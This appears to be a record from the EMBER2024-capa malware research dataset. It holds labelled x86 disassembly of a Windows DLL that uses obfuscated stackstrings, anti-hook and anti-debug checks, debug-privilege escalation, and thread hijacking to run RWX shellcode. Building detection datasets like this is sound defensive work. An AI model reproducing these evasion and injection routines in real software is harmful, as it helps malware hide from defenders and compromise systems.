joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001b50
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov cl, 0x74
mov dword [ebp - 0x10], 0x191d0074
mov dword [ebp - 0xc], 0x113311
xor eax, eax
mov dword [ebp - 8], 0x11191d20
mov byte [ebp - 4], 0
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 0xb
jae 0x10001b82
mov cl, byte [ebp - 0x10]
jmp 0x10001b73
mov byte [ebp - 4], 0
mov cl, 3
mov dword [ebp - 0x20], 0x71666803
xor eax, eax
mov dword [ebp - 0x1c], 0x306f666d
mov dword [ebp - 0x18], 0x6f672d31
mov word [ebp - 0x14], 0x6f
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 0xc
jae 0x10001bb4
mov cl, byte [ebp - 0x20]
jmp 0x10001ba5
lea eax, [ebp - 0xf]
mov byte [ebp - 0x13], 0
push eax
lea eax, [ebp - 0x1f]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.1000a530
cmp al, 0xe9
jne 0x10001be0
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x10001bf0
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov cl, 0x3f
mov dword [ebp - 0x10], 0x4b5a783f
mov dword [ebp - 0xc], 0x545c566b
xor eax, eax
mov dword [ebp - 8], 0x514a507c
mov word [ebp - 4], 0x4b
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 0xc
jae 0x10001c24
mov cl, byte [ebp - 0x10]
jmp 0x10001c15
mov byte [ebp - 3], 0
mov cl, 0x4b
mov dword [ebp - 0x20], 0x392e204b
xor eax, eax
mov dword [ebp - 0x1c], 0x78272e25
mov dword [ebp - 0x18], 0x272f6579
mov word [ebp - 0x14], 0x27
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 0xc
jae 0x10001c56
mov cl, byte [ebp - 0x20]
jmp 0x10001c47
lea eax, [ebp - 0xf]
mov byte [ebp - 0x13], 0
push eax
lea eax, [ebp - 0x1f]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.1000a530
cmp al, 0xe9
jne 0x10001c82
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x10001c90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1001f018]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1001b090]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
nop dword [eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0xe
jb 0x10001cb0
mov byte [ebp - 0x19], 0
mov cl, 0x13
mov dword [ebp - 0x18], 0x41565813
xor eax, eax
mov dword [ebp - 0x14], 0x205f565d
mov dword [ebp - 0x10], 0x7f773d21
mov word [ebp - 0xc], 0x7f
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 0xc
jae 0x10001cef
mov cl, byte [ebp - 0x18]
jmp 0x10001ce0
lea eax, [ebp - 0x27]
mov byte [ebp - 0xb], 0
push eax
lea eax, [ebp - 0x17]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 1
lea ecx, [ebp - 5]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [ebp - 5], 0xe9
mov ecx, dword [ebp - 4]
sete al
xor ecx, ebp
call fcn.10012a50
mov esp, ebp
pop ebp
ret
Function at 0x10001d40
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1001c330
push 0x10013917
mov eax, dword fs:[0]
push eax
add esp, 0xffffffc0
mov eax, dword [0x1001f018]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x48], 0
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
mov edx, dword [ebp - 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x10001dd9
xor al, al
jmp 0x10001e62
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov byte [ecx], 0xc3
lea edx, [ebp - 0x20]
push edx
push 0x140
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001e04
xor al, al
jmp 0x10001e62
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x24]
push 0x10001e4f
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10012a50
mov esp, ebp
pop ebp
ret

Function at 0x10003860
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.10007fa0
call fcn.10008080
call fcn.1000e0c0
mov dword [0x10020fbc], eax
test eax, eax
je 0x1000388f
call fcn.1000e2b0
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x100034b0
push 0
push 0
mov dword [0x10020ee8], eax
mov dword [0x10020eec], edx
mov dword [0x10020ef0], eax
mov dword [0x10020ef4], edx
call esi
mov ebx, eax
test ebx, ebx
jne 0x100038d0
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
push 0
push 0
push 0x10003750
push 0
push 0
call esi
mov edi, eax
test edi, edi
jne 0x100038ef
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push ebx
call esi
push 0xffffffffffffffff
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007fa0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1001f018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
push esi
push edi
test eax, eax
jne 0x10007fbe
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
je 0x10008061
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
push 0x28
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10008061
mov esi, dword [ebp - 0x18]
lea eax, [ebp - 0x10]
push eax
push str.SeSecurityPrivilege
push 0
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10008061
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10008061
push ecx
mov ecx, dword [ebp - 0x18]
mov edx, str.SeDebugPrivilege
call fcn.10007f30
add esp, 4
test al, al
je 0x10008061
push dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012a50
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.10012a50
mov esp, ebp
pop ebp
ret

Function at 0x10008080
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x1001f018]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100080ee
movaps xmm0, xmmword [0x1001b100]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x24], 0x2d
nop dword [eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x10
jb 0x100080c0
lea eax, [ebp - 0xc]
mov byte [ebp - 0x23], 0
push eax
lea eax, [ebp - 0x33]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x100080fe
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012a50
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
push 0
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x20]
test eax, eax
je 0x100080e8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.10012a50
mov esp, ebp
pop ebp
ret
Function at 0x100088b0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x1001f018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov edi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1000890c
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
cmp dword [ebp - 0x128], edi
je 0x10008926
lea eax, [ebp - 0x130]
push eax
push esi
call ebx
test eax, eax
jne 0x100088f6
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012a50
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012a50
mov esp, ebp
pop ebp
ret
Function at 0x10008fb0
Capabilities:
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movaps xmm0, xmmword [0x1001b180]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
push esi
movaps xmm0, xmmword [0x1001b160]
movups xmmword [ebp - 0x24], xmm0
movaps xmm0, xmmword [str._Sqlujgfqu2_3]
movups xmmword [ebp - 0x14], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x10008fe0
push 0
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], 0
push eax
push 0
push 0x10020f34
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x100090cc
push 0x10020f30
push 0
push 0
push 0x8004
push dword [0x10020f34]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100090cc
movaps xmm0, xmmword [str.t7O]
xor ecx, ecx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x1c441215
movaps xmm0, xmmword [0x1001b110]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x16400634
movaps xmm0, xmmword [0x1001b140]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x55040e21
mov word [ebp - 4], 9
nop
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x10009070
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], 0
push eax
push dword [0x10020f30]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x100090cc
push 0x10020f2c
push 0x800000
push dword [0x10020f30]
push 0x6801
push dword [0x10020f34]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x100090cc
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x10020f28], eax
call fcn.100116a0
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.10011b70
push 0x10008e70
push 0x10020f24
call fcn.100113b0
call fcn.10011700
push 4
push 0x60f6e0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000913a
mov dword [0x10020f24], 0x60f6e0
call fcn.100116a0
call esi
push eax
call fcn.10011b70
push 0x10008e70
push 0x10020f24
call fcn.10010f20
call fcn.10011700
call fcn.100116a0
call esi
push eax
call fcn.10011b70
push 0x10008ea0
push 0x10020f20
call fcn.100113b0
call fcn.10011700
push 4
push 0x60eab0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10009197
mov dword [0x10020f20], 0x60eab0
call fcn.100116a0
call esi
push eax
call fcn.10011b70
push 0x10008ea0
push 0x10020f20
call fcn.10010f20
call fcn.10011700
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000ac40
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov byte [ebp - 0x1c], 3
mov al, 0x54
xor al, byte [ebp - 0x1c]
mov cl, 0x50
xor cl, byte [ebp - 0x1c]
mov ah, 0x30
mov byte [ebp - 0x1b], al
mov dl, 0x31
mov byte [ebp - 0x1a], cl
mov ch, dl
mov cl, byte [ebp - 0x1c]
mov dh, 0x2d
mov byte [ebp - 1], 0x6f
xor ah, cl
mov al, byte [ebp - 1]
xor dl, cl
xor al, cl
mov byte [ebp - 2], 0x6f
mov byte [ebp - 0x13], al
xor ch, cl
mov al, byte [ebp - 2]
xor dh, cl
xor al, cl
mov byte [ebp - 0x17], ah
mov byte [ebp - 0x12], al
mov bl, 0x5c
mov bh, 0x67
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x19], dl
xor bl, cl
mov byte [ebp - 0x16], ch
xor bh, cl
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x15], dh
mov byte [ebp - 0x14], bh
mov byte [ebp - 0x11], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x1000acc1
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ah, 0x74
mov byte [ebp - 0xb], 0
mov al, 6
mov byte [ebp - 0x10], ah
xor al, ah
mov byte [ebp - 0xb], 0
mov cl, 0x11
mov byte [ebp - 0xf], al
mov dl, 0x17
mov bl, 2
xor cl, ah
xor dl, ah
xor bl, ah
mov byte [ebp - 0xe], cl
lea eax, [ebp - 0xf]
mov byte [ebp - 0xd], dl
push eax
push esi
mov byte [ebp - 0xc], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000acb9
mov ecx, eax
call fcn.1000a530
cmp al, 0xe9
je 0x1000acb9
mov bh, 0x4b
mov byte [ebp - 8], 0
mov al, 0x1c
mov byte [ebp - 0x10], bh
mov ah, 0x2e
mov byte [ebp - 8], 0
xor al, bh
xor ah, bh
mov byte [ebp - 0xf], al
mov cl, 0x18
mov byte [ebp - 0xb], ah
mov dl, 0xa
lea eax, [ebp - 0xf]
mov ch, 0x28
mov dh, 0x3d
mov bl, 0x19
push eax
xor cl, bh
xor dl, bh
xor ch, bh
mov byte [ebp - 0xe], cl
xor dh, bh
mov byte [ebp - 0xd], dl
xor bl, bh
mov byte [ebp - 0xa], ch
push esi
mov byte [ebp - 0xc], bl
mov byte [ebp - 9], dh
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop esi
pop ebx
test eax, eax
je 0x1000ad5e
mov ecx, eax
call fcn.1000a530
cmp al, 0xe9
jne 0x1000ad66
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x1000be80
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1001f018]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x6d12c0
call fcn.1000a530
cmp al, 0xe9
jne 0x1000bea6
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 4
push 0x6d12c0
call esi
test eax, eax
jne 0x1000bee9
mov dword [0x10020f4c], 0x6d12c0
call fcn.100116a0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10011b70
push 0x1000ade0
push 0x10020f4c
call fcn.10010f20
call fcn.10011700
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x6d141e
push eax
call esi
test eax, eax
jne 0x1000bf2d
push 4
push 0x1000ad70
call esi
test eax, eax
jne 0x1000bf2d
call fcn.100116a0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10011b70
push 0x1000ad70
lea eax, [ebp - 8]
push eax
call fcn.10010f20
call fcn.10011700
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10012a50
mov esp, ebp
pop ebp
ret
Function at 0x1000c0b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x1001f018]
xor eax, esp
mov dword [esp + 0x38], eax
movaps xmm0, xmmword [str._MZRlPYKI_r]
xor ecx, ecx
mov eax, dword [0x10020fb4]
push ebx
push esi
push edi
mov edi, dword [0x10020fb0]
mov dword [esp + 0xc], edi
mov dword [esp + 0x24], eax
movups xmmword [esp + 0x10], xmm0
mov byte [esp + 0x20], 0
nop dword [eax]
mov al, byte [esp + 0x10]
xor byte [esp + ecx + 0x11], al
inc ecx
cmp ecx, 0xf
jb 0x1000c0f0
sub esp, 0x18
mov byte [esp + 0x38], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [esp + 0x29], 0
jne 0x1000c124
xor ecx, ecx
jmp 0x1000c139
lea ecx, [esp + 0x29]
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000c130
sub ecx, esi
push ecx
lea eax, [esp + 0x2d]
mov ecx, edx
push eax
call fcn.10004310
lea ecx, [esp + 0x44]
call fcn.1000ef80
mov edx, dword [esp + 0x44]
add esp, 0x18
xor ebx, ebx
test edi, edi
mov edi, dword [esp + 0x40]
jle 0x1000c19e
cmp edi, 0x10
lea ecx, [esp + 0x2c]
cmovae ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000c170
sub ecx, esi
mov eax, ebx
cmp edi, 0x10
lea esi, [esp + 0x2c]
cmovae esi, edx
xor edx, edx
div ecx
mov ecx, dword [esp + 0x24]
mov al, byte [edx + esi]
xor byte [ecx + ebx], al
inc ebx
mov edx, dword [esp + 0x2c]
cmp ebx, dword [esp + 0xc]
jl 0x1000c160
cmp edi, 0x10
jb 0x1000c1ad
lea eax, [edi + 1]
push eax
push edx
call fcn.10004a80
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10012a50
mov esp, ebp
pop ebp
ret
Function at 0x1000e0c0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x1001f018]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 4
mov dword [ebp - 0x2f8], 0x68705604
mov dword [ebp - 0x2f4], 0x60656b48
xor eax, eax
mov dword [ebp - 0x2f0], 0x6d767057
mov word [ebp - 0x2ec], 0x636a
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1000e11a
mov cl, byte [ebp - 0x2f8]
jmp 0x1000e105
push ebx
mov byte [ebp - 0x2e8], 0x48
mov al, 0x26
xor al, byte [ebp - 0x2e8]
mov bl, 0x24
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x2c
mov bh, ah
mov byte [ebp - 0x2d9], ah
xor bl, al
mov byte [ebp - 0x2de], 0
xor ah, al
mov byte [ebp - 0x2ea], 0
xor bh, al
mov byte [ebp - 0x2e3], ah
mov dh, dl
mov byte [ebp - 0x2e4], bl
xor dl, al
mov byte [ebp - 0x2e0], bh
xor dh, al
mov byte [ebp - 0x2e5], dl
mov cl, 0x3c
mov byte [ebp - 0x2e1], dh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x66
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2f7]
push esi
push eax
lea eax, [ebp - 0x2e7]
mov byte [ebp - 0x2e2], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x1000e1e1
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012a50
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000e1cf
push 0x2cc
lea eax, [ebp - 0x2d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000e1cf
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1000e1cf
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000e1cf
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001e80
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000e1cf
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.10012a50
mov esp, ebp
pop ebp
ret
Function at 0x1000e2b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov byte [ebp - 0x14], 0xc
mov al, 0x62
xor al, byte [ebp - 0x14]
mov bl, 0x60
mov ah, bl
mov byte [ebp - 0x13], al
mov al, byte [ebp - 0x14]
mov dl, 0x68
mov bh, ah
mov byte [ebp - 1], ah
mov dh, dl
mov byte [ebp - 0xa], 0
xor dl, al
mov byte [ebp - 0xa], 0
xor bl, al
mov byte [ebp - 0x11], dl
xor ah, al
mov byte [ebp - 0x10], bl
xor dh, al
mov byte [ebp - 0xf], ah
xor bh, al
mov byte [ebp - 0xd], dh
mov cl, 0x78
mov byte [ebp - 0xc], bh
xor cl, al
mov ch, 0x22
xor ch, al
mov byte [ebp - 0x12], cl
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x14]
mov esi, dword [0x10020fbc]
mov byte [ebp - 0xb], al
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0xe], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
jne 0x1000e32c
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x1001b150]
xor eax, eax
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x7c665a60
mov dword [ebp - 0x18], 0x6a6f6b
mov cl, byte [ebp - 0x2c]
xor byte [ebp + eax - 0x2b], cl
inc eax
cmp eax, 0x16
jb 0x1000e347
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x15], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000e323
test esi, esi
jne 0x1000e375
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret